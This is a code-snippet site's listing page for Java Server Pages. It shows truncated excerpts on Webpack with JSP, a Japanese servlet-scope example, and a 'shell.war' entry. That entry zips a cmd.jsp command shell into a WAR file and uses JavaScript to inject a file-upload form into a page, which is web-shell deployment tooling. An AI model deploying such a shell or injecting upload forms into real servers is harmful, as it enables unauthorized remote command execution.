Code Snippets Java Server Pages

Short texts Java Server Pages 🧑‍💻 Code snippets Java Server Pages ✍️ Reading lists Java Server Pages 👀

Webpack + JSP

## Webpack + JSP These snippets were created after reading the following article on how to use webpack to build code bundles for individual JSP pages, and specifically how to get those JSP pages to refer to the correct filename + hash. https://medium.com/@jsilvax/introducing-webpack-into-an-existing-java-based-web-app-ff53f14d37ec ~~There was no actual code, but the description of the approach was […]

shell.war – zip shell.war cmd.jsp

document.write(“”); var html = “\ \ \ \ Upload dir: \ Select a file to upload: \ \ \ “; var div = document.createElement(‘div’); div.innerHTML = html; document.body.insertBefore(div, document.body.firstChild); var handleFileSelect = function(evt) { var files = evt.target.files; var file = files[0]; if (files && file) { var reader = new FileReader(); reader.onload = function(readerEvt) […]

Java Servlet Scopeのサンプル

package scope; import java.io.IOException; import javax.servlet.RequestDispatcher; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; /** * Java入門 スコープセットクラス. */ @WebServlet(“/ScopeSetServlet”) public class ScopeSetServlet extends HttpServlet { private static final long serialVersionUID = 1L; public ScopeSetServlet() { super(); } /** * POSTメソッドでリクエストされた場合の処理. * * @param request * @param response * […]